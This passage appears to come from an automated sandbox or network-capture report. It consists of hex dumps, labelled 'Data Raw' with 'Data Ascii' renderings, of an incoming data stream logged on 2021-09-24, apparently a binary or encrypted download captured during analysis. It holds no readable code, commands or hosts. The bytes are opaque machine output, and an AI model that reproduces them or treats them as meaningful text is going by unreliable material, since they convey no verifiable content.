fc 0d 0b 21 47 3f 09 e6 ed 53 Data Ascii: D5]&]$OWKOgxSFxzC.^j8.]cz\|/}rsRn~%AV9 '7r'XyxpX$)'-FMVTI4`@"{)v{{WTYe$4d{\|S&Zba#jKN$a!G?S
2021-09-24 19:53:40 UTC	137	IN	Data Raw: c3 ec 31 c9 94 f7 90 b7 70 ad c9 2c a8 e2 ef 11 1d 27 08 1d d8 af ee 3f 38 c4 7d ae 17 89 52 7e d2 d3 1d 8b 43 bb 8a 70 3c ea dd 5a c2 f6 7c 0f 3f ad 91 83 d1 9c f6 2a 57 1d d6 c0 26 2d 38 6e 52 95 27 a2 f6 3a d2 cd 01 7f 60 45 cc 77 a8 58 24 68 2d 5f 38 48 95 16 16 df 00 8f 5c 55 27 da 59 f8 b0 8f 7b 10 37 0a 08 0b b2 2e 8f b8 7b bc 09 2f 6f 45 75 02 b8 8e ed 2b 78 64 88 6d f3 e9 90 7d 1a 59 07 ea 99 ac 4b c4 52 d9 e7 ac dc 98 ef 14 16 5a 59 c9 7a ba 2c 1f ec 66 30 8b 9e b0 37 33 7f a7 23 92 fb 05 b3 c2 5b c2 1b eb bc 11 94 41 27 31 5a e6 92 51 2c 4d 66 2e 8d 6d 8d 21 fd cf 44 41 bf 09 ab fe c8 9b 27 e3 72 46 b5 9d 07 eb ec 32 9a 3d 68 a6 72 28 53 fe bc fc 73 d3 49 1d e1 73 b9 3f 85 16 29 61 ff c3 06 7b c5 69 4d b0 f3 c3 a8 03 82 7e fa 4a d4 b6 1c 04 36 Data Ascii: 1p,'?8}R~Cp<Z\|?*W&-8nR':`EwX$h-_8H\U'Y{7.{/oEu+xdm}YKRZYz,f073#[A'1ZQ,Mf.m!DA'rF2=hr(SsIs?)a{iM~J6
2021-09-24 19:53:40 UTC	138	IN	Data Raw: 5a e9 09 24 87 74 6c 1c 2b fb 2b 9d 4e 01 c5 d3 c4 f4 45 c1 e9 20 70 20 d8 4f 28 ec 35 ec 1b 4d a9 b0 20 7b 11 2b 0d b7 57 71 36 f9 25 a5 fa 05 0d 19 d1 d7 c1 b8 00 3d d3 08 c4 57 9e 40 65 e2 1e de b0 f7 64 62 5c ad 00 79 e7 20 eb 6b 83 0b a9 62 1f 11 61 c0 c9 41 b2 88 0e ae 6c f0 08 25 a4 1d ac 80 ea 0d 0d 16 ed 6c 92 e7 eb 7d 3a 17 b0 a6 af c8 c4 59 a2 d8 07 fe 27 1d 47 cb e1 b4 25 87 1d a3 c5 eb 55 37 7e ca 07 67 c4 19 b9 6c 11 d4 55 8e 2d e5 14 b4 a8 08 cb 6a b9 c1 53 31 e1 51 11 2d bc 1f b3 d0 02 aa d8 49 11 71 48 e2 8a 50 31 f2 44 75 20 b0 a6 57 8c de 91 a4 47 c9 2d cc d8 e2 bf 05 fe b9 d3 2f e3 cd 91 51 b4 ae 2f 9c 91 a1 21 f7 af 6b ca 47 43 c5 4e 60 d8 f5 3b 82 2b ce 74 bf 12 ec 0c 9f 90 59 e7 45 dd e2 37 d4 c6 c5 2d 0e 2f a4 4d 37 26 49 2a 99 19 Data Ascii: Z$tl++NE p O(5M {+Wq6%=W@edb\y kbaAl%l}:Y'G%U7~glU-jS1Q-IqHP1Du WG-/Q/!kGCN`;+tYE7-/M7&I*
2021-09-24 19:53:40 UTC	139	IN	Data Raw: 00 1a f8 a5 51 7b ba 08 d6 36 67 30 94 0f bd 37 20 59 81 c5 11 85 9c 92 81 45 e2 98 f1 94 3c 0c 64 0c 0a fe b8 88 51 2c 49 66 17 9a 6d 8d a5 f0 cf 57 67 99 ee 28 80 51 ba 6f fd 52 c2 af b5 2a 73 c9 19 a1 99 36 bb 72 28 57 fe 8e eb 73 d3 cd 10 e1 60 9f 19 61 91 57 f8 de 8e 18 5b 40 73 65 9d 6b e6 83 3b 26 20 e6 4a d4 b2 1c cf 20 88 97 56 67 cf 66 4f 1a fe 20 66 c1 c1 73 8e 9c 26 be d7 a6 82 3c cb 11 03 aa 08 ba 0d af 89 ac 63 f5 44 be b1 54 26 63 f5 a2 a0 02 d7 a7 af 7d 19 1e fb 73 f0 e9 2e ca 86 6d 5a 4c 94 6c bc 94 70 b3 b9 05 f0 e7 dd 6b 20 12 7a 66 fc 6b 12 53 be 6d e0 24 30 7d 97 17 ee 9e c1 df 78 05 86 14 59 19 5e 63 55 4b 4b 80 ba d9 f0 46 aa a8 28 80 72 87 5c e2 e4 b4 be 71 b4 e1 c0 d6 6e 42 8c 3b 5e 6e 2c 14 d8 c6 1a 16 0e 97 75 17 b2 49 07 0e 04 Data Ascii: Q{6g07 YE<dQ,IfmWg(QoR*s6r(Ws`aW[@sek;& J VgfO fs&<cDT&c}s.mZLlpk zfkSm$0}xY^cUKKF(r\qnB;^n,uI
2021-09-24 19:53:40 UTC	141	IN	Data Raw: fd 78 8c b7 c6 13 27 f0 b1 63 6b bd e1 80 96 f9 51 8b 16 b9 23 97 f0 f7 81 5e 37 a8 3c 54 e6 aa e7 18 df 46 ef 03 b7 32 0f 35 75 90 a0 67 1d 82 d4 d8 78 85 34 c4 b2 f1 db e4 e7 17 0f 7e b3 2f 98 ae 2b 08 da ad f1 e9 40 d3 9d f7 ca d9 f1 1b 57 e0 d6 74 25 28 dc 35 94 b2 ac e0 6f 5f bc da c9 c6 c1 17 8a 03 a6 4d ab 29 e6 45 26 38 de 4b db a5 e6 16 56 66 e3 2a 52 d0 ee 42 86 6d 30 ea 93 88 7c 01 34 75 44 66 8d 9b 56 d8 94 e2 d3 46 60 43 db 89 82 88 80 70 62 30 32 c0 a5 2e 8d de 42 57 4d a4 d2 91 c0 0e 5c af 65 94 51 d7 39 62 d2 4e 3b ed 99 e6 b3 fd 24 7e a3 35 14 84 48 3a 6e e7 b2 53 c8 94 eb 22 bf 5f bf e9 26 54 9d 76 10 3d b9 3e e4 d9 b0 e0 8d 30 eb 6c 8e 1d f6 2d e7 d3 f3 9d b7 3c ba 90 58 8b cd f0 4e ce 54 7d 97 3e ad b5 0b 3d 9d f6 35 d1 10 d6 d3 00 0b Data Ascii: x'ckQ#^7<TF25ugx4~/+@Wt%(5o_M)E&8KVf*RBm0\|4uDfVF`Cpb02.BWM\eQ9bN;$~5H:nS"_&Tv=>0l-<XNT}>=5
2021-09-24 19:53:40 UTC	142	IN	Data Raw: 3a 94 79 2e 6d f8 70 a1 04 fd 05 8b fe 18 1e e1 7b c7 e9 2e cc 36 ce 09 c4 b3 4c a2 b6 a1 b2 99 50 74 c2 f0 60 2e 1f a9 67 fa 41 b0 4f 3d 6c e0 3f 0a 4e b8 15 ee 02 ce 70 17 ba a7 0f 5f 39 8c 42 0d 55 d1 a5 8b e0 fb 64 78 af 02 06 2c 62 47 e2 e0 88 8a 5e b6 e1 5c d9 c5 2e 33 1a 42 68 0c c7 f9 98 04 8c 2b a5 49 19 bf 98 06 08 2e 24 b7 fa 99 5f 55 f9 8c 27 f2 15 10 0a 70 b4 8b d6 83 ab a9 33 82 29 6a c7 4a bc c2 7e ff 6a d5 0e 7f 5b d8 97 c7 e3 a2 d5 b4 84 06 56 a2 db bc 92 ec 48 24 18 e9 2a 87 29 b9 a0 1d ec c3 d7 25 8c 34 df 29 b4 9c c3 e6 f3 9a 40 9b b2 b2 e2 55 8b 6b e2 78 f6 0d 0e 01 2a 68 03 2b ff 14 34 67 2c c7 49 e7 f3 d5 99 50 84 71 24 f8 4f a0 f4 35 76 21 6d 90 bb 02 5b 15 01 8f e9 67 6e 36 fd 18 2b d6 07 0d 85 de 7c ae 07 21 9b d6 28 e5 75 09 58 Data Ascii: :y.mp{.6LPt`.gAO=l?Np_9BUdx,bG^\.3Bh+I.$_U'p3)jJ~j[VH$)%4)@Ukxh+4g,IPq$O5v!m[gn6+\|!(uX
2021-09-24 19:53:40 UTC	143	IN	Data Raw: 43 6c 8a 82 88 3a b7 6e 21 14 fe 7a 02 8f de 64 06 d7 da 4b 89 e8 27 7e ee 61 be d3 33 85 4e c0 6c 3b 54 9a e6 b3 47 eb 72 b2 13 2b 72 61 17 6c c7 ca 65 4e ea 6e 0b 92 59 9f ad 0e d6 e3 75 34 10 af 38 3d 9a b2 e0 17 35 3e 5c a8 3d 10 20 cf fe d1 19 ad 16 38 f4 e9 a7 cf f4 68 a7 d4 03 0e a5 88 9c 3a e1 bc b5 37 4b 35 db c6 04 2b 12 f5 04 21 24 a2 f4 30 d0 b2 98 7e fa 64 c1 21 8c 78 a4 f3 08 72 09 aa a3 52 14 c0 18 87 7a 75 27 dc 6b 56 e3 14 7a 16 19 a8 f7 93 b3 2e 11 bd 13 ac 2f 0f 74 61 58 13 be 72 be 29 78 7b a5 48 fc eb 90 63 18 f2 7b 73 9e 86 c9 9a 49 d9 e7 a8 66 fb c0 06 30 e0 fe e5 68 9c 2c b0 f8 66 30 b4 9a ba 1a 31 60 be 21 3d 87 9c b4 e8 dd 9c 01 eb bc 15 2e 23 08 20 7c 5c 34 7d 3d 6b 66 9d 99 6d 8d 1f fb c0 46 41 a5 0b 04 82 51 9c 0d 61 2c 5b b5 Data Ascii: Cl:n!zdK'~a3Nl;TGr+raleNnYu48=5>\= 8h:7K5+!$0~d!xrRzu'kVz./taXr)x{Hc{sIf0h,f01`!=.# \|\4}=kfmFAQa,[
2021-09-24 19:53:40 UTC	144	IN	Data Raw: db b3 ea f6 a4 eb d1 86 06 cc a7 d9 8a b4 cc 4c 0e 35 eb 0a 12 1d 3f de 9b e7 eb fe 07 e4 30 f5 af 50 20 ef f4 d1 9a 37 9b b2 b2 58 43 82 79 c4 47 ff 27 23 03 0a f3 37 ad 81 92 39 4f 05 e5 20 e3 d9 57 7d ec a8 63 06 f8 06 a0 f4 35 cc 4d 64 81 9d 3d 72 3f 2c 8d c9 c8 5a b0 83 9c 02 fb 01 2d e9 f6 fa d0 04 05 b6 c0 2e e4 1d 0b 58 65 c2 56 d2 9d f5 7b 70 5e 02 7c e0 e0 0a 69 35 bd 0b a9 66 a5 5f 4e d1 ef fb 30 a4 1c 88 6c 00 12 25 a4 24 e2 89 e8 0d 14 18 47 3f 09 e6 ed 53 98 c1 28 a7 af 56 c1 18 b1 fe 27 cc 03 30 56 cd 5f c0 27 87 03 ab 62 cd 55 31 4e 60 54 fc c5 1f 97 ca c6 4c 54 8e b3 e0 54 a7 8e 28 f8 4e 94 d3 55 b7 94 53 11 33 b4 bc 95 d0 04 9f 50 1f a5 72 48 e0 80 7c 4e 6b 45 ef 01 bd da 73 ac 74 0a 81 6a fb a5 f4 b6 e0 a0 19 f6 08 f5 2f e5 f8 0f 07 00 Data Ascii: L5?0P 7XCyG'#79O W}c5Md=r?,Z-.XeV{p^\|i5f_N0l%$G?S(V'0V_'bU1N`TLTT(NUS3PrH\|NkEstj/
2021-09-24 19:53:40 UTC	146	IN	Data Raw: f8 b0 8f 7b 10 37 0a 07 08 b2 2e 8f b8 7b bc 09 2f 60 46 75 02 b8 ca dd 2b 78 64 90 6d f3 e9 90 7d 1a 5d 07 ea 99 ac 4b c4 5f da e7 ac dc 98 ef 17 16 5a 54 ca 7a ba 2c 5b dc 66 30 83 bd b5 18 31 79 8b 8b 6e 1c 9d b2 c6 7f 72 9a ea bc 8b 2b 49 1b 06 5c 56 13 50 2c 6d e8 fc 9b 6d 95 17 f8 e0 46 47 93 a1 57 19 50 9a 23 c7 c3 c0 b4 9d 9d 54 e4 0e ad 3b d9 20 73 28 73 6e 66 ea 73 c4 7f 18 ce 71 bf 13 2d ee ce f9 fe c7 22 c9 42 68 4d 2a 4c cb 94 37 84 cc 7d 4b d4 96 8d 26 21 88 8f e4 6f e0 77 6f 10 b3 5f Data Ascii: {7.{/`Fu+xdm}]K_ZTz,[f01ynr+I\VP,mmFGWP#T; s(snfsq-"BhM*L7}K&!owo_
2021-09-24 19:53:40 UTC	146	IN	Data Raw: ff c0 e1 25 b4 0f 24 a0 ff 11 a5 11 dc 1d a1 47 93 bb 0d 8b 1a 5a 62 f5 53 0c b9 7b 37 43 ff f0 df 9b d6 87 f1 47 8d 1c e5 5b 47 ce 03 dd 8a cb b0 d7 95 6c 98 00 87 b2 b9 1d 42 ef f2 79 00 18 29 19 65 6a 32 35 84 f8 e2 3b 2a cf 9f 38 ff be cb c8 04 9c 87 34 eb 1f 8c 62 42 63 fc a7 97 ce fc e4 06 30 29 80 56 db d0 e0 e4 a8 0c 79 9b f0 e0 dc 7e 3e 15 3a 7e dd 2a c7 d9 de 32 a1 29 ba 61 1b 10 e4 9f 0f 04 a2 e9 f4 9a 5f 51 43 b4 08 e3 33 aa b8 5f a5 ad d6 27 8f a9 33 b5 8d 59 c5 4a a7 c0 d1 83 f3 d2 24 fd 05 d9 94 c7 e7 18 ee 9b 95 20 ec 1f f4 ae b4 ec ec 00 18 e9 12 3c 1a bb a0 04 cc 69 84 be 8d 32 f1 8f 53 07 c2 e6 6d 9f 72 88 94 92 e1 72 a6 79 e4 e4 cf 0f 0e 16 22 d8 1f 2b f9 21 ba 31 98 c4 49 e5 f9 cd e5 c9 85 eb 05 f5 7e 84 d4 af ee 04 40 a1 20 04 7b 17 Data Ascii: %$GZbS{7CG[GlBy)ej25;84bBc0)Vy~>:~2)a_QC3_'3YJ$ <i2Smrry"+!1I~@ {
2021-09-24 19:53:40 UTC	147	IN	Data Raw: f9 f4 ce b4 1d 48 1d d8 cd b4 c6 03 2d 5d 49 99 aa 9d 7c 45 e3 53 ff 44 64 65 06 0e fc 11 1b 55 4b 01 af e2 52 2f 17 fb 4f 3e 77 84 69 8a e8 23 7e a9 4b be d3 b6 af 4b ff 48 1b 13 b2 60 cd fe 00 53 b6 33 88 7e 49 3a f4 e2 e1 5d ee b4 4b 08 92 5d 9f fa 24 d6 e3 f0 07 15 90 1c 1d de 9a 66 69 8c c7 7d ac 1d b2 2e e7 d3 49 3c 86 2e 9c aa cd a4 cf f0 68 cf fe 03 0e 20 a3 99 06 c5 9c f0 1f c9 4b 62 c3 26 2f 32 56 2e 0c 26 38 d7 37 43 ea 21 c1 f8 60 e1 45 b7 50 a4 69 36 77 35 8e 83 10 3c 46 66 3e 70 57 23 fc cc 7c ce 16 e0 35 1e 38 af 2a 0d 2c 15 9d 76 90 07 0f ee 5b 7b 2a b5 50 fb 2d 52 f9 fb dc df eb 94 5b f0 dd 79 73 02 89 62 f5 f6 f8 27 ae 46 bd e2 4a 18 7a db d6 52 97 0e f6 fc 4c b2 ea 0c 99 1a 35 5f 60 0b 10 85 06 97 ef 4e c4 b8 2b be 11 0e 44 5e 08 7c c6 Data Ascii: H-]I\|ESDdeUKR/O>wi#~KKH`S3~I:]K]$fi}.I<.h Kb&/2V.&87C!`EPi6w5<Ff>pW#\|58,v[{P-R[ysb'FJzRL5_`N+D^\|
2021-09-24 19:53:40 UTC	148	IN	Data Raw: 38 88 2f 5b 8f 2b 88 07 a8 a9 37 82 44 76 c7 4a 3b cf 7e ef 4c f3 c5 fb 25 41 b6 b7 cc 82 cb a9 a0 2e e1 85 f6 a8 9e 4e 28 bf 19 e9 0e 34 d5 bb a0 02 7c ce d7 36 aa 12 17 ad ca 05 e2 72 dc ba 5f 81 9a 9f 7a 70 a0 53 46 26 70 0e 0e 05 2a 16 1f 2b ff 91 1d 62 10 e3 69 02 db 57 e7 e9 13 5a 20 d8 71 8a d9 37 ec 02 6a 07 e3 bb 7a 17 05 af 2d cc 70 36 67 20 2e e9 23 2d 67 f6 fa d0 be be b0 d2 08 db 7c 21 75 67 e2 02 dc 1f 8b fd 65 76 2b 5e 05 e4 20 ef d1 01 27 b8 44 a5 d1 4e d1 ef 41 bc a2 0e ae 52 43 3d 27 a4 02 ae 2b 96 94 0a 3c 6b 32 ed e4 eb 79 80 9a 9c b4 89 72 07 76 b3 fe 07 e7 0d 1d 47 f4 55 84 08 85 03 8d c2 6f 2b a8 55 48 7d de 22 1b bd 4c 22 f0 78 9c 91 e0 de a7 8e 28 42 b0 92 c1 73 88 ef 79 3c 31 94 34 9b 56 7a 19 5f 37 8c 50 a0 e4 aa fa aa d7 69 fd Data Ascii: 8/[+7DvJ;~L%A.N(4\|6r_zpSF&p*+biWZ q7jz-p6g .#-g\|!ugev+^ 'DNARC='+<k2yrvGUo+UH}"L"x(Bsy<14Vz_7Pi
2021-09-24 19:53:40 UTC	150	IN	Data Raw: 2c 7f fa 7e c9 48 8c 78 a2 43 af 21 81 8d 83 12 36 c8 1b a7 71 cd 02 f1 62 58 ee 1e 79 10 33 0a ec 27 b2 2e 09 b5 7b ac 2f 09 c4 c2 0b 9b 99 52 ff 0b 71 78 85 45 44 ce bd 69 16 ff 70 70 98 ac 6f 8f fd d8 e7 b3 74 95 ef 04 30 7c f1 4e 04 23 0d f6 fe 46 3a 97 95 98 80 14 52 b3 2f 30 8f 9f b2 c2 7f 7f b5 ea bc 0e 15 4c 27 22 7c c0 3b d6 52 d4 47 da 9f 4d 86 3c d5 e2 dc 64 94 31 0f a0 5a 99 27 e7 72 7a 99 9d 07 6e e0 37 a6 19 48 24 59 ae 2d 47 41 ea 77 f3 5b 36 cc 71 23 1c 82 82 71 d8 f2 c0 02 5b 60 89 60 b0 69 f9 b4 39 89 5c 7f 4d fe 30 42 99 20 88 93 ec 4f e1 77 69 a0 14 0c 74 e7 c1 2c 97 9c 26 80 ed a5 80 3c d2 19 a9 f9 93 bb 0b 81 2f 02 fb f4 44 20 b4 77 34 45 d5 e8 84 2f c5 a1 d5 69 1a 1e e5 7b e9 c5 2e cc b3 f0 0c f8 97 6c be 9e 23 cc 20 04 6a c6 d0 76 Data Ascii: ,~HxC!6qbXy3'.{/RqxEDippot0\|N#F:R/0L'"\|;RGM<d1Z'rzn7H$Y-GAw[6q#q[``i9\M0B Owit,&</D w4E/i{.l# jv
2021-09-24 19:53:40 UTC	151	IN	Data Raw: 1d 9e eb 3d ff 23 57 13 a8 14 93 04 7d 09 21 ba cf 1d 81 4c 84 be 93 a5 57 c7 40 66 3b d2 c2 e1 b2 8d e1 29 33 b9 89 41 61 7d 7d dc 74 b1 6b 30 db b4 c5 df ab 04 99 59 ca 68 ea 7c 19 12 a2 c5 9e b9 80 16 2f ea 5c b9 75 0e ab 79 50 45 a1 22 01 b2 d1 d0 3d 4d f4 18 6f c4 d6 99 25 94 09 5d 8f 0c c4 a5 01 d4 de 64 28 65 a8 68 ed 72 a7 3b 19 d0 14 cb 11 09 e5 4d 67 74 6b 56 0d ac 7e 38 2d de 1f 5d be 8d 8b 0c 9b 3c 43 fb 93 a9 f4 a9 a7 37 0d b8 2c 9b 9e f0 49 d0 89 a0 1d e0 58 ae 69 e4 fa 17 b5 29 09 ef f3 8c 82 90 7f cd 51 ee 3d d7 69 1b 79 cd 5f ac 2f dd 16 91 7c 3b 94 bb 6c 12 99 b7 db f4 5e 73 b4 9b f7 1f 75 35 53 5d 42 93 97 62 56 a8 4b c6 46 60 68 2d b4 99 9d 06 49 49 7e 2a ef 4f 2b 8e ca 66 02 44 bf fc a6 d8 36 49 81 41 97 f4 92 a2 50 fb 7a 2c 35 b0 e1 Data Ascii: =#W}!LW@f;)3Aa}}tk0Yh\|/\uyPE"=Mo%]d(ehr;MgtkV~8-]<C7,IXi)Q=iy_/\|;l^su5S]BbVKF`h-II~*O+fD6IAPz,5
2021-09-24 19:53:40 UTC	152	IN	Data Raw: bd 98 18 8d 23 e7 1a 8a f5 17 bd 7c e5 6e 4c 84 20 29 10 d9 9d e4 80 aa 54 88 07 70 f9 45 bc 8d a6 12 56 d5 e4 d2 7f 21 36 b3 10 82 99 c9 c5 d4 d8 3d 06 d2 3b 2c a2 26 73 4b 26 b4 45 b7 16 5d 16 34 8f 3d 10 f2 f4 7d fa f4 1f e8 ba 92 53 f0 3c 9f 45 0a 25 80 b4 f6 70 d1 73 53 82 52 3b 44 97 4f 26 c7 0f 1c 19 1a 5d fe e5 71 5e df 80 b0 36 94 1a 8d d0 35 bf 6b f9 3b 34 29 d8 64 99 93 ef 49 63 d9 d2 5e 0a 68 d6 3d 1e 1e 83 f9 8b 80 ca 27 38 ea 30 ec 36 81 22 c1 9e d6 f7 3b db 82 a8 9e 8a 5c 36 06 24 1f 65 e2 fa fc 6b ea 03 94 50 40 f1 b5 35 15 1a a1 d4 36 b4 5c 4c d2 97 21 b3 27 88 33 4c e5 f6 b2 81 b8 b8 3b ff b4 68 db 54 a5 a0 05 ab 10 a8 0e 81 09 6f f8 b4 99 a3 b5 ac e2 7d a7 a0 92 d5 d0 f7 36 24 78 9b 3a 79 47 d4 90 3a dc ca 70 ef 4b f7 34 72 5b 8a 43 75 Data Ascii: #\|nL )TpEV!6=;,&sK&E]4=}S<E%psSR;DO&]q^65k;4)dIc^h='806";\6$ekP@56\L!'3L;hTo}6$x:yG:pK4r[Cu
2021-09-24 19:53:40 UTC	153	IN	Data Raw: 8c b1 18 c2 25 34 1a d4 51 5a 73 d3 0a a7 08 dd 1d 3a e4 43 89 8b 3e 0f 39 6c 79 ff 58 aa 3b 9b 78 8b e4 b9 26 fb 5e c0 76 da 72 cf 91 25 0d cf d8 69 07 7e 58 a1 b8 7c 2b 50 f6 c9 f7 f1 cd c2 30 6d d0 f9 49 cd 63 e9 c9 99 8d 23 29 26 e1 ee f9 93 a4 4e b2 df 7d 3e 83 98 e7 46 31 80 fd 70 34 d5 1e de 83 b7 ac 25 9c 02 48 0f ea b5 e6 3b 57 1a fe 0f 5b 0a 2a 69 2d 94 9f 1e 93 ea 95 63 f7 23 df 8f 68 b7 99 8d 7c 54 d8 68 7c a5 c8 90 7c 64 b4 04 ce 54 67 0c 8b b8 b9 4e d1 26 a8 b6 76 8b cf f1 55 f3 c1 06 27 38 b9 bd 3d d5 86 bb 7d 07 09 e8 cf 2d 0b 1b ea 2e 1e 3f 93 ca 38 6c e0 13 67 e5 4e d1 4f be 4d cc 7d 01 7f 2e bb 89 2a 2f cd 21 9b 47 63 43 bd 14 24 90 4e da 8e ab b1 07 a8 14 8e bd 0b c6 3f a9 e9 2e 85 ac d1 41 9f 1a fd a0 a5 56 86 1a 33 49 a2 ab 19 96 96 Data Ascii: %4QZs:C>9lyX;x&^vr%i~X\|+P0mIc#)&N}>F1p4%H;W[i-c#h\|Th\|\|dTgN&vU'8=}-.?8lgNOM}./!GcC$N?.AV3I
2021-09-24 19:53:40 UTC	155	IN	Data Raw: cf d6 06 84 51 fc 23 ec 3e 3f 10 13 df 30 6d 51 6e 2e 8c 94 bd 84 c1 95 4d 54 4e 89 03 bd 69 d4 b2 01 09 97 95 ba 04 60 c6 67 a5 a9 51 61 d5 76 e4 61 ab af 54 43 00 72 35 41 aa 53 40 e5 51 ac 5d 09 b4 1f 86 cb 38 e3 4a 56 80 d2 8c f7 81 f8 c1 4f 9c d0 f3 d7 fd 91 0b 7d 49 a1 5e 47 68 a9 c1 5d b2 b4 aa 5f a7 6a 8e ce b1 6c ac 90 9b c8 6a dd f3 82 3e 5e 89 53 f0 7f b4 2b 52 3e 2d d4 4d 0d c5 5d 1e 1d 5a 80 64 cb 82 7a bd 9b d2 55 05 fc 3a fe c6 2a f5 5c 7a 8d 87 3a 63 0b 06 96 d9 d4 74 75 bf 0d 0b 86 74 71 8e 95 f1 a2 9c 56 f7 a0 0a b1 07 7e 37 78 83 6a 84 f7 99 01 04 10 3c 1e f1 81 37 77 d9 db ca 69 a9 46 ee 9d 52 0c b2 d6 4a cf 65 82 b9 c9 f0 69 fe 0e 29 1e 89 83 be e1 88 86 62 23 c7 bf 02 79 6a 1a f2 5b ce 77 4a 8c e3 91 a8 99 44 a3 01 f8 5b ad 54 39 2d Data Ascii: Q#>?0mQn.MTNi`gQavaTCr5AS@Q]8JVO}I^Gh]_jlj>^S+R>-M]ZdzU:*\z:ctutqV~7xj<7wiFRJei)b#yj[wJD[T9-
2021-09-24 19:53:40 UTC	156	IN	Data Raw: 84 4a e3 27 a5 c0 f7 39 09 0c b2 3e aa 13 2e cd 01 75 4d e7 5a 79 b4 be a1 18 13 9d 74 23 5f 8c f6 8f 56 7b 88 8a a0 5b 9e b5 84 18 53 6c 09 85 5b 22 a2 23 be 23 de 2c ea 3d 6f 09 5e cd 90 00 05 d7 0b b3 62 4f 3d 91 6a 66 d3 0b 0c 76 59 55 f3 49 dc 4b 74 cb 27 cf 40 7a 8f 2f 02 75 c5 23 8c 54 0b 25 f4 38 ae 90 d2 18 45 b8 18 6b 9a aa 41 c3 cb d1 f8 af 51 b4 cc 0e 14 71 cb dc 75 b1 1c ef eb 75 23 95 d5 c6 1f 3f 7c f8 51 77 c3 de d5 81 1a c1 b7 c2 9a 32 3b 51 09 05 4d fd 0e 6d 16 61 60 f6 b2 6b ac 06 f4 d8 74 51 89 fa c4 44 97 57 e3 6b bd 12 78 4a d5 b2 1c fa 62 ed a6 c9 8f c4 bf 32 af 17 86 2a aa c6 27 99 48 ca 4a 5c 90 25 2d 1a ff bd a2 9c a9 44 b2 01 6f e5 59 af 81 fb 2f 53 cf f6 dc 6b 73 29 b0 04 8c e2 bc bc f5 b5 5e 6c bf 05 08 a9 33 7d 51 42 91 43 f6 Data Ascii: J'9>.uMZyt#_V{[Sl["##,=o^bO=jfvYUIKt'@z/u#T%8EkAQquu#?\|Qw2;QMma`ktQDWkxJb2*'HJ\%-DoY/Sks)^l3}QBC
2021-09-24 19:53:40 UTC	157	IN	Data Raw: 6a f6 03 44 80 18 b6 f6 31 0b b2 f4 9e 86 15 5d 4f f1 a5 7e 83 76 96 79 74 fd 8c 92 c0 f7 66 c2 be 41 87 36 65 34 0e bb 59 ac cb a7 3e 15 37 7a 2e a2 b4 50 bf 22 5d 7b d0 18 e5 4a 1d b0 8a 15 64 d3 4f de 39 1d 62 4e c9 34 ef c9 81 24 4b 49 0c 72 79 80 c3 28 21 b8 aa bc fd 05 dc 77 a3 ed 31 5f 33 1d 1f aa 51 a7 39 8b 41 cc d4 f5 49 2f 5c 53 61 ff c3 6e b8 65 9c fe 27 84 ae d2 39 8a a2 03 44 41 98 fe 5a 93 e6 5b 1e 28 ac 14 96 e5 27 8a 7a 06 af ac 86 3c 70 7a e7 33 85 71 d5 58 67 a1 6e a2 0b 22 8f 34 48 1c 02 2c 42 c2 15 1a 5c b6 21 36 d0 d3 c3 55 f9 7f 4e b8 91 06 49 03 18 89 a4 38 9b 3e 30 19 9c 00 51 39 8c 5f e8 04 c7 7b 75 a2 06 f1 8a 48 34 5e 5b 5b 85 32 92 31 df 2e 96 df b0 24 af 43 88 39 83 68 8e d6 79 53 84 ea 74 49 24 3f f9 96 62 48 3e 8e f0 9c fb Data Ascii: jD1]O~vytfA6e4Y>7z.P"]{JdO9bN4$KIry(!w1_3Q9AI/\Sane'9DAZ[('z<pz3qXgn"4H,B\!6UNI8>0Q9_{uH4^[[21.$C9hyStI$?bH>
2021-09-24 19:53:40 UTC	159	IN	Data Raw: 9e 10 a1 e7 b3 f1 40 4b 19 7c 75 37 84 59 0a 79 54 3e 8c cb 35 cc 2c cd ab 48 40 a4 4a 65 e4 21 fe 48 81 32 93 db ff 6e 1c 93 44 ce 7d 31 56 1e 5f 39 b2 00 b6 02 a3 28 51 b4 12 83 5e a0 98 0f cd d1 cf 0d 59 57 65 59 ff 7c f5 86 26 bb 44 63 76 c3 ba 30 12 20 9e b7 f2 64 a6 4b 73 03 0e 3a 62 db fe 25 b6 ad 11 a9 d0 ae a8 15 e1 0f bd df ad 97 24 92 86 7e 7e f5 26 22 a2 5e 11 98 11 a8 6c ea 17 53 35 a4 d3 d2 71 bc 4d 7e d7 39 67 36 ef 0a 0a 9d 64 6f 7e 5e 47 c3 b8 04 24 d3 c0 db 4b 85 2f 90 de dd 43 c3 05 dc d9 be 4f ea 07 61 48 8c e9 65 68 e7 ee e4 7c 9d ae be 26 2c bf 87 5b ed f1 22 01 fd d9 df 16 6d 69 27 1f cb 23 76 fc b4 67 b1 9a bb 68 05 89 44 ed 8e 99 31 98 0b d4 ce 6f 65 ff f9 f1 51 30 9c 6f c4 b9 2d 34 dc 6b e8 71 d6 de 51 54 0e 66 24 05 ba 0a d3 23 Data Ascii: @K\|u7YyT>5,H@Je!H2nD}1V_9(Q^YWeY\|&Dcv0 dKs:b%$~~&"^lS5qM~9g6do~^G$K/COaHeh\|&,["mi'#vghD1oeQ0o-4kqQTf$#
2021-09-24 19:53:40 UTC	160	IN	Data Raw: c9 0d 64 e3 2e 27 94 c1 9b 5f 94 26 cc 7f f3 d8 52 8a 32 a5 91 1f c3 aa 8e f7 cf f8 35 f7 c2 f0 0a b5 c1 36 7b 05 87 03 b4 99 4d 09 f4 a9 e1 d8 62 43 ec 23 e7 cd ea 26 a3 d0 cf 5d 8c 36 d3 01 86 90 4f f7 76 70 84 89 fa fc f9 20 9d 09 bb 49 83 32 4d 13 95 02 e1 5a c3 63 d9 2d 6e dc c9 07 73 d3 ea 97 bd b5 ff 11 1e 7f bd ce d0 9e b9 b7 5b 54 a9 9a 06 af 1d 9b af b3 f6 40 1f 7e c6 92 90 fb cc 35 83 85 4b 37 85 c3 b9 4d 2d 71 5b de b7 5d 90 4a 6c 1c 14 ca 79 e3 aa b9 2b 44 0e c6 aa 8d 71 d3 f1 b9 93 fc b6 09 6b cc 56 02 7a 8b 1e de 6a 3b d9 0c 5b 78 86 ad 27 81 94 43 2c 7e c6 86 42 fd 3c 95 a8 8d 5d 75 79 b1 6b f4 29 38 de 18 71 19 cc 59 68 b5 a3 db 52 25 a2 7a 1c 13 9c 90 e8 22 1d 4f 6f 54 af 67 40 7e df b1 4d 1a ac 49 3c 8f 30 be 2c cf 07 e8 37 76 0f 4f d1 Data Ascii: d.'_&R256{MbC#&]6Ovp I2MZc-ns[T@~5K7M-q[]Jly+DqkVzj;[x'C,~B<]uyk)8qYhR%z"OoTg@~MI<0,7vO
